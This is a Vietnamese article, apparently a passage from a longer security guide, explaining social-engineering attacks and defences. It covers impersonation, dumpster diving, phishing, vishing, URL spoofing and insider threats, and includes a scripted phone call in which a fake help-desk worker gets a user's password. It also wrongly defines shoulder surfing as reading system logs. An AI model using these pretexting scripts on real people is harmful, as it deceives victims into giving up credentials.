Điểm quan trọng cuối cùng mà họ đã sử dụng là giả giọng nói của vị giám đốc vắn mặt này. Có thành quả đó là do họ đã tiến hành nghiên cứu giọng nói của vị giám đốc. Và những thông tin của ông giám đốc mà họ thu thập được từ thùng rác đã giúp cho họ tạo sự tin tưởng tuyệt đối với nhân viên. Một cuộc tấn công đã diễn ra, khi họ đã gọi điện cho phòng IT với vai trò giám đốc phòng tài chính, làm ra vẽ mình bị mất pasword, và rất cần password mới. Họ tiếp tục sử dụng các thông tin khác và nhiều kỹ thuật tấn công đã giúp họ chiếm lĩnh toàn bộ hệ thống mạng”. Nguy hiểm nhất của kỹ thuật tấn công này là quy trình thẩm định thông tin cá nhân. Thông qua tường lửa, mạng riêng ảo, phần mềm giám sát mạng...sẽ giúp rộng cuộc tấn công, bởi vì kỹ thuật tấn công này không sử dụng các biện pháp trực tiếp. Thay vào đó yếu tố con người rất quan trọng. Chính sự lơ là của nhân viên trong công ty trên đã để cho kẽ tấn công thu thập được thông tin quan trọng.

2. Nghệ thuật của sự thao túng


Social Engineering bao gồm việc đạt được những thông tin mật hay truy cập trái phép, bằng cách xây dựng mối quan hệ với một số người. Kết quả của social engineer là lừa một người nào đó cung cấp thông tin có giá trị. Nó tác động lên phẩm chất vốn có của con người, chẳng hạn như mong muốn trở thành người có ích, tin tưởng mọi người và sợ những rắc rối.

Social engineering vận dụng những thủ thuật và kỹ thuật làm cho một người nào đó đồng ý làm theo những gì mà Social engineer muốn. Nó không phải là cách điều khiển suy nghĩ người khác, và nó không cho phép Social engineer làm cho người nào đó làm những việc vượt quá tư cách đạo đức thông thường. Và trên hết, nó không dễ thực hiện chút nào. Tuy nhiên, đó là một phương pháp mà hầu hết Attackers dùng để tấn công vào công ty. Có 2 loại rất thông dụng :

  • Social engineering là việc lấy được thông tin cần thiểt từ một người nào đó hơn là phá hủy hệ thống.

  • Psychological subversion: mục đích của hacker hay attacker khi sử dụng PsychSub (một kỹ thuật thiên về tâm lý) thì phức tạp hơn và bao gồm sự chuẩn bị, phân tích tình huống, và suy nghĩ cẩn thận, chính xác những từ sử dụng và giọng điệu khi nói, và nó thường sử dụng trong quân đội.


Sau đây là một tình huống mà một Attacker đã đánh cấp password của một khách hàng. Nếu bạn có ý đồ làm hacker thì có thể học hỏi, còn nếu bạn là người dùng thì hãy cẩn thận khi gặp tình huống tương tự.

Vào một buổi sáng, cô Alice đang ăn sáng thì nhận được cuộc gọi.


Attacker : “ Chào bà, tôi là Bob, tôi muốn nói chuyện với cô Alice”

Alice: “ Xin chào, tôi là Alice”.

Attacker: ” Chào cô Alice, tôi gọi từ trung tâm dữ liệu, xin lỗi vì tôi gọi điện cho cô sớm Thế này…”

Alice: ” Trung tâm dữ liệu à, tôi đang ăn sáng, nhưng không sao đâu.”

Attacker: ” Tôi gọi điện cho cô vì những thông tin cá nhân của cô trong phiếu thông tin tạo account có vấn đề.”

Alice: ” Của tôi à..à vâng.”

Attacker: ” Tôi thông báo với cô về việc server mail vừa bị sập tối qua, và chúng tôi đang cố gắng phục hồi lại hệ thống mail. Vì cô là người sử dụng ở xa nên chúng tôi xử lý trường hợp của cô trước tiên.”

Alice: ”Vậy mail của tôi có bị mất không?”

Attacker: “Không đâu, chúng tôi có thể phục hồi lại được mà. Nhưng vì chúng tôi là nhân viên phòng dữ liệu, và chúng tôi không được phép can thiệp vào hệ thống mail của văn phòng, nên chúng tôi cần có password của cô, nếu không chúng tôi không thể làm gì được.”

Alice: ”Password của tôi à?uhm..”

Attacker: ”Vâng, chúng tôi hiểu, trong bản đăng kí ghi rõ chúng tôi không được hỏi về vấn đề này, nhưng nó được viết bởi văn phòng luật, nên tất cả phải làm đúng theo luật.” ( nỗ lực làm tăng sự tin tưởng từ nạn nhân)

Attacker: ” Username của cô là AliceDxb phải không? Phòng hệ thống đưa cho chúng tôi username và số điện thoại của cô, nhưng họ không đưa password cho chúng tôi. Không có password thì không ai có thể truy cập vào mail của cô được, cho dù chúng tôi ở phòng dữ liệu. Nhưng chúng tôi phải phục hồi lại mail của cô, và chúng tôi cần phải truy cập vào mail của cô. Chúng tôi đảm bảo với cô chúng tôi sẽ không sử dụng password của cô vào bất cứ mục đích nào khác.”

Alice: ” uhm, pass này cũng không riêng tư lắm đâu, pass của tôi là 123456”

Attacker: ” Cám ơn sự hợp tác của cô. Chúng tôi sẽ phục hồi lại mail của cô trong vài phút nữa.”

Alice: ” Có chắc là mail không bị mất không?”

Attacker: ” Tất nhiên là không rồi. Chắc cô chưa gặp trường hợp này bao giờ, nếu có thắc mắc gì thì hãy liên hệ với chúng tôi. Cô có thể tìm số liên lạc ở trên Internet.”

Alice: ” Cảm ơn.”

Attacker: ” Chào cô.”


3. Điểm yếu của mọi người


Mọi người thường mắc phải nhiều điểm yếu trong các vấn đề bảo mật. Để đề phòng thành công thì chúng ta phải dựa vào các chính sách tốt và huấn luyện nhân viên thực hiện tốt các chính sách đó. Social engineering là phương pháp khó phòng chống nhất vì nó không thể dùng phần cứng hay phần mềm để chống lại.

Một người nào đó khi truy cập vào bất cứ phần nào của hệ thống thì các thiết bị vật lý và vấn đề cấp điện có thể là một trở ngại lớn. Bất cứ thông tin nào thu thập được đều có thể dùng phương pháp Social engineering để thu thập thêm thông tin. Có nghĩa là một người không nằm trong chính sách bảo mật cũng có thể phá hủy hệ thống bảo mật. Các chuyên gia bảo mật cho rằng cách bảo mật giấu đi thông tin là rẩt yếu. Trong trường hợp của Social engineering, hoàn toàn không có sự bảo mật nào vì không thể che giấu việc ai đang sử dụng hệ thống và khả năng ảnh hưởng của họ tới hệ thống.

Có nhiều cách để hoàn thành mục tiêu đề ra. Cách đơn giản nhất là yêu cầu trực tiếp, đó là đặt câu hỏi trực tiếp. Mặc dù cách này rất khó thành công, nhưng đây là phương pháp dễ nhất, đơn giản nhất. Người đó biết chính xác họ cần gì.

Cách thứ hai, tạo ra một tình huống mà nạn nhân có liên quan đến. Với các nhân tố khác nhau cần được yêu cầu xem xét, làm thế nào để nạn nhân dễ dàng dính bẩy nhất, bởi vì attacker có thể tạo ra những lý do thuyết phục hơn những người bình thường. Attacker càng nỗ lực thì khả năng thành công càng cao, thông tin thu được càng nhiều. Không có nghĩa là các tình huống này không dựa trên thực tế. Càng giống sự thật thì khả năng thành công càng cao.

Một trong những công cụ quan trọng được sử dụng trong Social engineering là một trí nhớ tốt để thu thập các sự kiện. Đó là điều mà các hacker và sysadmin nổi trội hơn, đặc biệt khi nói đến những vấn đề liên quan đến lĩnh vực của họ.

4. Phân loại kỹ thuật tấn công Social engineering


Social engineering có thể được chia thành hai loại phổ biến:

Human-based: Kỹ thuật Social engineering liên quan đến sự tương tác giữa con người với con người để thu được thông tin mong muốn. Ví dụ như chúng ta phải gọi điện thoại đến phòng Help Desk để truy tìm mật khẩu.

Computer-based: Kỹ thuật này liên quan đến việc sử dụng các phần mềm để cố gắng thu thập thông tin cần thiết. Ví dụ bạn gửi email và yêu cầu người dùng nhập lại mật khẩu đăng nhập vào website. Kỹ thuật này còn được gọi là Phishing (lừa đảo).

4.1.                Human-Based Social Engineering


Kỹ thuật Human Based có thể chia thành các loại như sau:

Impersonation: Mạo danh là nhân viên hoặc người dùng hợp lệ. Trong kỹ thuật này, kẽ tấn công sẽ giả dạng thành nhân viên công ty hoặc người dùng hợp lệ của hệ thống. Hacker mạo danh mình là người gác công, nhân viên, đối tác, để độp nhập công ty. Một khi đã vào được bên trong, chúng tiến hành thu thập các thông tin từ thùng rác, máy tính để bàn, hoặc các hệ thống máy tính, hoặc là hỏi thăm những người đồng nghiệp.

Posing as Important User: Trong vai trò của một người sử dụng quan trọng như người quan lý cấp cao, trưởng phòng, hoặc những người cần trợ giúp ngay lập tức, hacker có thể dụ dỗ người dùng cung cấp cho chúng mật khẩu truy cập vào hệ thống.

Third-person Authorization: Lấy danh nghĩa được sự cho phép của một người nào đó để truy cập vào hệ thống. Ví dụ một tên hacker nói anh được sự ủy quyền của giám đốc dùng tài khoản của giám đốc để truy cập vào hệ thống.

Calling Technical Support: Gọi điện thoại đến phòng tư vấn kỹ thuật là một phương pháp cổ điển của kỹ thuật tấn công Social engineering. Help-desk và phòng hổ trợ kỹ thuật được lập ra để giúp cho người dùng, đó cũng là con mồi ngon cho hacker.

Shoulder Surfing là kỹ thuật thu thập thông tin bằng cách xem file ghi nhật ký hệ thống. Thông thường khi đăng nhập vào hệ thống, quá trình đăng nhập được ghi nhận lại, thông tin ghi lại có thể giúp ích nhiều cho hacker.

Dumpster Diving là kỹ thuật thu thập thông tin trong thùng rác. Nghe có vẽ “đê tiện” vì phải lôi thùng rác của người ta ra để tìm kiếm thông tin, nhưng vì đại cuộc phải chấp nhận hi sinh. Nói vui vậy, thu thập thông tin trong thùng rác của các công ty lớn, thông tin mà chúng ta cần thu có thể là password, username, filename hoặc những thông tin mật khác. Ví dụ: Tháng 6 năm 2000, Larry Ellison, chủ tịch Oracle, thừa nhận là Oracle đã dùng đến dumpster diving để cố gắng tìm ra thông tin về Microsoft trong trường hợp chống độc quyền. Danh từ “larrygate”, không là mới trong hoạt động tình báo doanh nghiệp.

Một số thứ mà dumpster có thể mang lại: (1).Sách niên giám điện thoại công ty – biết ai gọi sau đó dùng để mạo nhận là những bước đầu tiên để đạt quyền truy xuất tới các dữ liệu nhạy cảm. Nó giúp có được tên và tư cách chính xác để làm có vẻ như là nhân viên hợp lệ. Tìm các số đã gọi là một nhiệm vụ dễ dàng khi kẻ tấn công có thể xác định tổng đài điện thoại của công ty từ sách niên giám. (2).Các biểu đồ tổ chức; bản ghi nhớ; sổ tay chính sách công ty; lịch hội họp, sự kiện, và các kỳ nghỉ; sổ tay hệ thống; bản in của dữ liệu nhạy cảm hoặc tên đăng nhập và password; bản ghi source code; băng và đĩa; các đĩa cứng hết hạn.

Phương pháp nâng cao hơn trong kỹ thuật Social engineering  là  Reverse Social Engineering (Social engineering  ngược).  Trong kỹ thuật này, hacker trở thành người cung cấp thông tin. Điều đó không có gì là ngạc nhiên, khi hacker bây giờ chính là nhân viên phòng help desk. Người dùng bị mất password, và yêu cầu nhân viên helpdesk cung cấp lại.

4.2.                Computer-Based Social Engineering


Computer Based: là sử dụng các phần mềm để lấy được thông tin mong muốn. Có thể chia thành các loại như sau:

Phising: Thuật ngữ này áp dụng cho một email xuất hiện đến từ một công ty kinh doanh, ngân hàng hoặc thẻ tín dụng yêu cầu chứng thực thông tin và cảnh báo sẽ xảy ra hậu quả nghiêm trọng nếu việc này không được làm. Lá thư thường chứa một đường link đến một trang web giả mạo trông hợp pháp với logo của công ty và nội dung có chứa form để yêu cầu username, password, số thẻ tín dụng hoặc số pin.

Vishing: Thuật ngữ là sự kết hợp của “voice” và phishing. Đây cũng là một dạng phising, nhưng kẻ tấn công sẽ trực tiếp gọi điện cho nạn nhân thay vì gởi email. Người sử dụng sẽ nhận được một thông điệp tự động với nội dung cảnh báo vấn đề liên quan đến tài khoản ngân hàng. Thông điệp này hướng dẫn họ gọi đến một số điện thoại để khắc phục vấn đề. Sau khi gọi, số điện thoại này sẽ kết nối người được gọi tới một hệ thống hỗ trợ giả, yêu cầu họ phải nhập mã thẻ tín dụng. Và Voip tiếp tay đắc lực thêm cho dạng tấn công mới này vì giá rẻ và khó giám sát một cuộc gọi bằng Voip.

Pop-up Windows: Một cửa sổ sẽ xuất hiện trên màn hình nói với user là anh ta đã mất kết nối và cần phải nhập lại username và password. Một chương trình đã được cài đặt trước đó bởi kẻ xâm nhập sau đó sẽ email thông tin đến một website ở xa.

Mail attachments: Có 2 hình thức thông thường có thể được sử dụng. Đầu tiên là mã độc hại. Mã này sẽ luôn luôn ẩn trong một file đính kèm trong email. Với mục đích là một user không nghi ngờ sẽ click hay mở file đó, ví dụ virus IloveYou, sâu Anna Kournikova( trong trường hợp này file đính kèm tên là AnnaKournikova.jpg.vbs. Nếu tên file đó bị cắt bớt thì nó sẽ giống như file jpg và user sẽ không chú ý phần mở rộng .vbs). Thứ hai cũng có hiệu quả tương tự, bao gồm gởi một file đánh lừa hỏi user để xóa file hợp pháp. Chúng được lập kế hoạch để làm tắc nghẽn hệ thống mail bằng cách báo cáo một sự đe dọa không tồn tại và yêu cầu người nhận chuyển tiếp một bản sao đến tất cả bạn và đồng nghiệp của họ. Điều này có thể tạo ra một hiệu ứng gọi là hiệu ứng quả cầu tuyết.

Websites: Một mưu mẹo để làm cho user không chú ý để lộ ra dữ liệu nhạy cảm, chẳng hạn như password họ sử dụng tại nơi làm việc. Ví dụ, một website có thể tạo ra một cuộc thi hư cấu, đòi hỏi user điền vào địa chỉ email và password. Password điền vào có thể tương tự với password được sử dụng cá nhân tại nơi làm việc. Nhiều nhân viên sẽ điền vào password giống với password họ sử dụng tại nơi làm việc, vì thế social engineer có username hợp lệ và password để truy xuất vào hệ thống mạng tổ chức.

Interesting Software: Trong trường hợp này nạn nhân được thuyết phục tải về và cài đặt các chương trình hay ứng dụng hữu ích như cải thiện hiệu suất của CPU, RAM, hoặc các tiện ích hệ thống hoặc như một crack để sử dụng các phần mềm có bản quyền. Và một Spyware hay Malware ( chẳng hạn như Keylogger) sẽ được cài đặt thông qua một chương trình độc hại ngụy trang dưới một chương trình hợp pháp.

5. Các bước tấn công trong Social Engineering


5.1.                Thu thập thông tin


Một trong những chìa khóa thành công của Social Engineering là thông tin. Đáng ngạc nhiên là dễ dàng thu thập đầy đủ thông tin của một tổ chức và nhân viên trong tổ chức đó. Các tổ chức có khuynh hướng đưa quá nhiều thông tin lên website của họ như là một phần của chiến lược kinh doanh. Thông tin này thường mô tả hay đưa ra các đầu mối như là các nhà cung cấp có thể ký kết; danh sách điện thoai và email; và chỉ ra có chi nhánh hay không nếu có thì chúng ở đâu. Tất cả thông tin này có thể là hữu ích với các nhà đầu tư tiềm năng, nhưng nó cũng có thể bị sử dụng trong tấn công Social Engineering. Những thứ mà các tổ chức ném đi có thể là nguồn tài nguyên thông tin quan trọng. Tìm kiếm trong thùng rác có thể khám phá hóa đơn, thư từ, sổ tay,.. có thể giúp cho kẻ tấn công kiếm được các thông tin quan trọng. Mục đích của kẻ tấn công trong bước này là hiểu càng nhiều thông tin càng tốt để làm ra vẻ là nhân viên, nhà cung cấp, đối tác chiến lược hợp lệ,…

5.2.                Chọn mục tiêu


Khi khối lượng thông tin phù hợp đã được tập hợp, kẻ tấn công tìm kiếm điểm yếu đáng chú ý trong nhân viên của tổ chức đó.

Mục tiêu thông thường là nhân viên hổ trợ kỹ thuật, được tập luyện để đưa sự giúp đỡ và có thể thay đổi password, tạo tài khoản, kích hoạt lại tài khoản,… Mục đích của hầu hết kẻ tấn công là tập hợp thông tin nhạy cảm và lấy một vị trí trong hệ thống. Kẻ tấn công nhận ra là khi chúng có thể truy cập, thậm chí là cấp độ khách, thì chúng có thể nâng quyền lên, bắt đầu tấn công phá hoại và che giấu vết.

Trợ lý administrator là mục tiêu kế tiếp. Đó là vì các cá nhân này có thể tiếp cận với các dữ liệu nhạy cảm thông thường được lưu chuyển giữa các thành viên quản trị cấp cao. Nhiều các trợ lý này thực hiện các công việc hàng ngày cho quản lý của họ mà các công việc này yêu cầu đặc quyền tài khoản của người quản lý.

5.3.                Tấn công


Sự tấn công thực tế thông thường dựa trên cái mà chúng ta gọi đó là “sự lường gạt”. Gồm có 3 loại chính:

  1. 1.     Ego attack: trong loại tấn công đầu tiên này, kẻ tấn công dựa vào một vài đặc điểm cơ bản của con người. Tất cả chúng ta thích nói về chúng ta thông minh như thế nào và chúng ta biết hoặc chúng ta đang làm hoặc hiệu chỉnh công ty ra sao. Kẻ tấn công sẽ sử dụng điều này để trích ra thông tin từ nạn nhân của chúng. Kẻ tấn công thường chọn nạn nhân là người cảm thấy bị đánh giá không đúng mức và đang làm việc ở vị trí mà dưới tài năng của họ. Kẻ tấn công thường có thể phán đoán ra điều này chỉ sau một cuộc nói chuyện ngắn.

  2. 2.     Sympathy attacks: Trong loại tấn công thứ hai này, kẻ tấn công thường giả vờ là nhân viên tập sự, một nhà thầu, hoặc một nhân viên mới của một nhà cung cấp hoặc đối tác chiến lược, những người này xảy ra tình huống khó xử và cần sự giúp đỡ đề thực hiện xong nhiệm vụ.


Sự quan trọng của bước thu thập trở nên rõ ràng ở đây, khi kẻ tấn công sẽ tạo ra sự tin cậy với nạn nhân bằng cách dùng các từ chuyên ngành thích hợp hoặc thể hiện kiến thức về tổ chức. Kẻ tấn công giả vờ là hắn đang bận và phải hoàn thành một vài nhiệm vụ mà yêu cầu truy xuất, nhưng hắn không thể nhớ username và password,… Một cảm giác khẩn cấp luôn luôn là phần trong kịch bản. Với bản tính con người là thông cảm nên trong hầu hết các trường hợp yêu cầu sẽ được chấp nhận. Nếu kẻ tấn công thất bại khi lấy truy xuất hoặc thông tin từ một nhân viên, hắn sẽ tiếp tục cố gắng cho đến khi tìm thấy người thông cảm, hoặc cho đến khi hắn nhận ra là tổ chức nghi ngờ.

  1. 3.     Intimidation attacks: Với loại thứ ba, kẻ tấn công giả vờ là là một nhân vật có quyền, như là một người có ảnh hưởng trong tổ chức. Kẻ tấn công sẽ nhằm vào nạn nhân có vị trí thấp hơn vị trí của nhân vật mà hắn giả vờ. Kẻ tấn công tạo một lý do hợp lý cho các yêu cầu như thiết lập lại password, thay đổi tài khoản, truy xuất đến hệ thống, hoặc thông tin nhạy cảm.


6. Các kiểu tấn công phổ biến


6.1.                Insider Attacks


Nếu một hacker không tìm được cách nào để tấn công vào tổ chức, sự lựa chọn tốt nhất tiếp theo để xâm nhập là thuê một nhân viên, hoặc tìm kiếm một nhân viên đang bất mãn, để làm nội gián, cung cấp các thông tin cần thiết. Đó chính là Insider Attack – tấn công nội bộ. Insider Attack có một thế mạnh rất lớn, vì những gián điệp này được phép truy cập vật lý vào hệ thống công ty, và di chuyển ra vào tự do trong công ty. Một ví dụ điển hình tại Việt Nam, đó chính là vụ tấn công vào Vietnamnet (năm 2010) được cho rằng có liên quan đến sự rò rĩ các thông tin nội bộ.

Một kiểu khác của tấn công nội bộ, là chính sự phá đám của các nhân viên. Những nhân viên làm việc với mức lương thấp kém, và anh ta muốn có mức lương cao hơn. Bằng cách xâm nhập vào CSDL nhân sự công ty, anh ta có thể thay đổi mức lương của mình. Hoặc một trường hợp khác, nhân viên muốn có tiền nhiều hơn, bằng cách đánh cấp các bảng kế hoạch kinh doanh mang bán cho các công ty khác.

Bảo vệ, chống lại sự tấn công nội bộ


Phòng chống kiểu tấn công này thật sự rất khó. Vì nó không có liên quan đến hệ thống máy móc, phần mềm, mà liên quan đến vấn đề tâm lý con người. Chúng ta không thể đoán biết được khi nào nhân viên phản bội, hay là anh ấy bị mua chuộc, ép buộc phải tham gia vào cuộc tấn công. Để phòng chống kiểu này, đòi hỏi cả tập thể công ty có tinh thần đoàn kết cao, vị giám đốc, nhà lãnh đạo phải thấu hiểu tâm lý của nhân viên. Làm thế nào để nhân viên không phản bội lại mình, điều này thiên về nghệ thuật ứng xử.

Thường thì một tổ chức thuê nhân viên an ninh, và đặt ra những chính sách để chống cuộc tấn công từ bên ngoài, mà ít khi đề phòng đến nội bộ bên trong. Với các hệ thống phát hiện xâm nhập (intrusion detection systems - IDS), hầu hết chúng được thiết kế và triển khai để phát hiện các mối đe dọa từ bên ngoài. Tuy nhiên, điều đó không phải là tất cả, IDS cũng có giá trị trong việc phát hiện các cuộc tấn công nội bộ, nếu như nhân viên an ninh biết cách khai thác.

6.2.                Identity Theft


Một hacker có thể giả danh một nhân viên hoặc ăn cấp danh tính của một nhân viên để thâm nhập vào hệ thống. Thông tin được thu thập thông qua kỹ thuật Dumpster Diving hoặc Shoulder Surfing kết hợp với việc tạo ID giả (fake ID) có thể giúp các hacker xâm nhập vào tổ chức. Việc tạo tài khoản xâm nhập vào hệ thống mà không bị phản đối gì hết như thế được ví von là ăn trộm hợp pháp (Identity Theft)

6.3.                Phishing Attacks


Vụ lừa đảo liên quan đến email, thường mục tiêu là ngân hàng, công ty thẻ tín dụng, hoặc tổ chức liên quan tài chính. Email yêu cầu người nhận xác nhận thông tin ngân hàng, hoặc đặt lại email, mã số PIN. Người dùng click vào một đường link trong email, và được dẫn đến một trang web giả mạo.  Hacker nắm bắt thông tin có lợi cho mục đích tài chính hoặc chuẩn bị cho một cuộc tấn công khác. Trong các cuộc tấn công, con mồi là những người dùng bình thường, họ chỉ biết cung cấp những thông tin mà hacker yêu cầu. Vì vậy, phía cần phòng chống là các công ty cung cấp dịch vụ, làm sao cho hacker không thể giả mạo.

6.4.                Online Scams


Một số trang web cung cấp miễn phí hoặc giảm giá đặc biệt vài thứ gì đó, có thể thu hút một nạn nhân đăng nhập bằng username và password thường dùng hằng ngày để đăng nhập vào hệ thống máy tính của công ty. Các hacker có thể sử dụng tên người dùng và mật khẩu hợp lệ, khi nạn nhân nhập vào các thông tin trên website.

Đình kèm vào email những đoạn mã độc hại để gửi cho nạn nhân, những thứ đó có thể là một chương trình keylogger để chụp lại mật khẩu.  Virus, trojan, worm là những thứ khác có thể được đính kèm vào email để dụ dỗ người dùng mở file. Trong ví dụ dưới đây mà một email bất chính, dùng để dụ nạn nhân mở một liên kết không an toàn.

 

Pop-up windows cũng là một kỹ thuật tương tự. Trong cách thức này, một cửa sổ pop-up sẽ mở ra với lời mời người dùng cài vào máy tính một phần miễn phí. Vì nhẹ dạ mà nạn nhân vô tình cài vào một mã độc hại.

6.5.                URL Obfuscation


URL thường được sử dụng trong thanh địa chỉ của trình duyệt để truy cập vào một trang web cụ thể. URL Obfuscation là làm ẩn hoặc giả mạo URL xuất hiện trên các thanh địa chỉ một cách hợp pháp. Ví dụ địa chỉ http://204.13.144.2/Citibanj có thể xuất hiện là địa chỉ hợp pháp cho ngân hành Citibank, tuy nhiên thực tế thì không. URL Obfuscation sử dụng để làm cho cuộc tấn công và lừa đảo trục tuyến trở nên hợp pháp hơn. Một trang web xem qua thì hợp pháp với hình ảnh, tên tủi của công ty, nhưng những liên kết trong đó sẽ dẫn đến những trang web của hacker.

Việc giả mạo có thể nhắm đến những người dụng bất cẩn. Ví dụ bạn vào trang web http://ebay.com và thực hiện giao dịch bình thường. Tuy nhiên, bạn đã vào trang giả mạo của hacker, vì trang web của ebay là https://ebay.com Khác biệt là ở chổ giao thức http và https

7. Các mối đe dọa Social Engineering


7.1.                Online Threats


Sự phát triển mạnh mẽ của internet, nhu cầu kết nối máy tính để phục vụ cho công việc, đáp ứng các yêu cầu thông tin tự động cả outsite và inside. Sự kết nối này là cơ hội giúp các hacker tiếp cận với nhân viên. Các hoạt động tấn công như email, pop-up windows, instant message sử dụng trojan, worm, virus...gây thiệt hại và phá hủy tài nguyên máy tính. Social engineer tiếp cận với nhân viên và thuyết phục họ cung cấp thông tin, thông qua những mưu mẹo, hơn là làm nhiễm malware cho máy tính thông qua tấn công trực tiếp. Một cuộc tấn công Social engineering  có thể giúp cho hacker thu thập được những thông tin cần thiết, chuẩn bị cho một cuộc tấn công mạnh mẽ khác sau đó. Vì thế, phải có lời khuyên và những khuyến cáo cho nhân viên, là làm thế nào để nhận diện và tránh các cuộc tấn công Social engineering trực tuyến.

Các mối đe dọa từ Email (Email Threats): Nhiều nhân viên nhận được hàng chục hàng trăm mail mỗi ngày, từ cả các hoạt động kinh doanh, và từ hệ thống email riêng. Khối lượng email nhiều có thể làm cho việc kiểm tra email trở nên khó khăn hơn, và mức độ cảnh giác đối với email mạo danh cũng giãm đi. Đó chính là cơ hội cho hacker mạo danh người gửi là một người quen để dụ dỗ nạn nhân cung cấp những thông tin cần thiết.

Một ví dụ của tấn công kiểu này là gửi email đến các nhân viên nói rằng ông chủ muốn tất cả lịch nghỉ của nhân viên để tổ chức một cuộc hợp. Chỉ đơn giản là làm cho email gửi đến nhân viên bắt nguồn từ ông chủ. Các nhân viên vì không thận trọng nên đã cung cấp thông tin yêu cầu một cách không ngần ngại. Sự hiểu biết về lịch trình nghỉ của nhân viên có thể không là mối đe dọa gì đến bảo mật, nhưng nó có ý nghĩ với hacker, biết được khi nào nhân viên vắng mắt. Hacker sau đó có thể giả dạng nhân viên vắng mặt, và có thể giảm thiểu khả năng bị phát hiện.

Vụ lừa đảo liên quan đến email, thường mục tiêu là ngân hàng, công ty thẻ tín dụng, hoặc tổ chức liên quan tài chính. Email yêu cầu người nhận xác nhận thông tin ngân hàng, hoặc đặt lại email, mã số PIN. Người dùng click vào một đường link trong email, và được dẫn đến một trang web giả mạo.  Hacker nắm bắt thông tin có lợi cho mục đích tài chính hoặc chuẩn bị cho một cuộc tấn công khác. Trong các cuộc tấn công, con mồi là những người dùng bình thường, họ chỉ biết cung cấp những thông tin mà hacker yêu cầu. Vì vậy, phía cần phòng chống là các công ty cung cấp dịch vụ, làm sao cho hacker không thể giả mạo.

Một ví dụ lừa đảo nữa của kỹ thuật này là email sau đây:


Nhìn kỹ hơn chúng ta có thể nhận thấy 2 sự khác biệt: Dòng chữ trong dòng link trên chỉ ra là trang web này bảo mật, sử dụng https, mặc dù link thật sự của trang web sử dụng http. Tên công ty trong mail là “Contoso”, nhưng link thật sự thì tên công ty gọi là “Comtoso”

Các ứng dụng pop-up và hộp hội thoại( Pop-Up Applications and Dialog Boxes): Không thực tế các nhân viên sử dụng internet không chỉ cho mục đích làm việc của công ty. Hầu hết nhân viên duyệt Web cho các lý do cá nhân, chẳng hạn như mua sắm hoặc nghiên cứu trực tuyến. Thông qua trình duyệt cá nhân của nhân viên hệ thống máy tính công ty có thể tiếp xúc với các  hoạt động của Social Engineer. Mặc dù điều này có thể không là mục tiêu cụ thể của hacker, họ sẽ sử dụng các nhân viên trong một nỗ lực để đạt được quyền truy xuất vào tài nguyên công ty. Một trong những mục đích phổ biến là nhúng một mail engine vào môi trường máy tính công ty thông qua đó hacker có thể bắt đầu phising hoặc các tấn công khác vào email của cá nhân hay của công ty.

Hai phương thức thông thường để lôi kéo user click vào một nút bấm bên trong một hộp hội thoại là đưa ra một cảnh báo của vấn đề, chẳng hạn như hiển thị một thông báo lỗi ứng dụng hoặc hệ thống, bằng cách đề nghị cung cấp thêm dịch vụ - ví dụ, một download miễn phí các ứng dụng tăng tốc máy tính. Với những nhân viên có kinh nghiệm (nhân viên IT chẳng hạn) không dễ bị mắc lừa bởi kiểu lừa bịp này. Nhưng với các user thiếu kinh nghiệm thì các phương thức này có thể đe dọa và lừa được họ.

Bảo vệ user từ các ứng dụng pop-up Social Engineering phần lớn là một chức năng của sự ý thức. Để tránh vấn đề này, bạn có thể thiết lập cấu hình trình duyệt mặc định sẽ ngăn chặn pop-up và download tự động, nhưng một vài pop-up có thể vượt qua thiết lập này. Sẽ hiệu quả hơn để đảm bảo rằng người dùng nhận thức được rằng họ không nên bấm vào cửa sổ pop-up, trước khi có sự ý kiển của nhân viên phòng IT.

Instant Mesaging Có một số mối đe dọa tiềm tàng của IM khi nó được hacker nhắm đến. Đầu tiên là tính chất không chính thức của IM. Tính tán gẫu của IM, kèm theo đó là lựa chọn cho mình một cái tên giả mạo (nickname), nghĩa là sẽ không hoàn toàn rõ ràng khi bạn đang nói chuyện với một người mà bạn tin rằng bạn đã quen biết. Hình minh họa dưới đây chỉ ra spoofing làm việc như thế nào, cho cả e-mail và IM:

 

Hacker (màu đỏ) giả mạo user đã biết và gởi một bản tin e-mail hay IM mà người nhận sẽ cho rằng nó đến từ một người mà họ đã biết. Sự quen biết làm giảm nhẹ sự phòng thủ của user, vì thế họ có nhiều khả năng click vào một liên kết hoặc mở tập tin đính kèm từ một ai đó mà họ biết – hoặc họ nghĩ là họ biết.

7.2.                Telephone-Based Threats


Điện thoại là môi trường mà người ta ít quan tâm đến việc bảo mật, cũng ít có hacker tấn công phá hổng hệ thống điện thoại. Nhưng sử dụng điện thoại để phục vụ cho mục đích tấn công mạng khác thì không phải không có. Gọi điện thoại đến nạn, thuyết phục họ cung cấp thông tin bằng một kịch bản tình huống giả được các hacker viết trước, đó là chính mối đe dọa lớn nhất của kỹ thuật tấn công Social engineering  sử dụng điện thoại.

Không dừng lại ở đó, VoIP đang dần dần phát triển, ngày càng có nhiều doanh nghiệp sử dụng VoIP. Việc tấn công vào mạng VoIP để nghe lén cuộc gọi là điều mà các hacker đang tiến tới. Việc nghe lén cuộc gói trước đây chỉ phục vụ cho tổ chức an ninh, phòng chống tội phạm. Nhưng nó đã bị các hacker lợi dụng để nghe lén những thông tin bàn thảo của các vị giám đốc.

7.3.                Waste Management Threats


Dumpster diving là một hoạt động có giá trị cho hacker. Giấy tờ vứt đi có thể chứa thông tin mang lại lợi ích tức thời cho hacker, chẳng hạn như user ID và số tài khoản bỏ đi, hoặc các thông tin nền như các biểu đồ tổ chức và danh sách điện thoại. Các loại thông tin này là vô giá đối với hacker social engineering, bởi vì nó làm cho hắn ta có vẻ đáng tin khi bắt đầu cuộc tấn công.

Phương tiện lưu giữ điện tử thậm chí còn hữu ích hơn cho hacker. Nếu một công ty, không có các quy tắc quản lý chất thải bao gồm sử dụng các phương tiện thông tin dư thừa, thì có thể tìm thấy tất cả các loại thông tin trên ổ đĩa cứng, CD, DVD không còn sử dụng.

Nhân viên phải hiểu được đầy đủ sự tác động của việc ném giấy thải hoặc phương tiện lưu trữ điện tử vào thùng rác. Sau khi di chuyển rác thải ra ngoài công ty, thì tính sở hữu nó có thể trở thành không rõ ràng về pháp luật. Dumpster diving có thể không được coi là bất hợp pháp trong mọi hoàn cảnh, vì thế phải đưa ra lời khuyên về xử lý rác thải.

  • Luôn luôn cắt thành miếng nhỏ giấy vụn và xóa đi hoặc phá hủy các phương tiện có từ tính. Nếu có loại chất thải quá lớn hoặc khó để đặt vào máy hủy, chẳng hạn như niên giám điện thoại, hoặc nó có kỹ thuật vượt quá khả năng của user để hủy nó, thì phải phát triển một giao thức cho việc vứt bỏ.

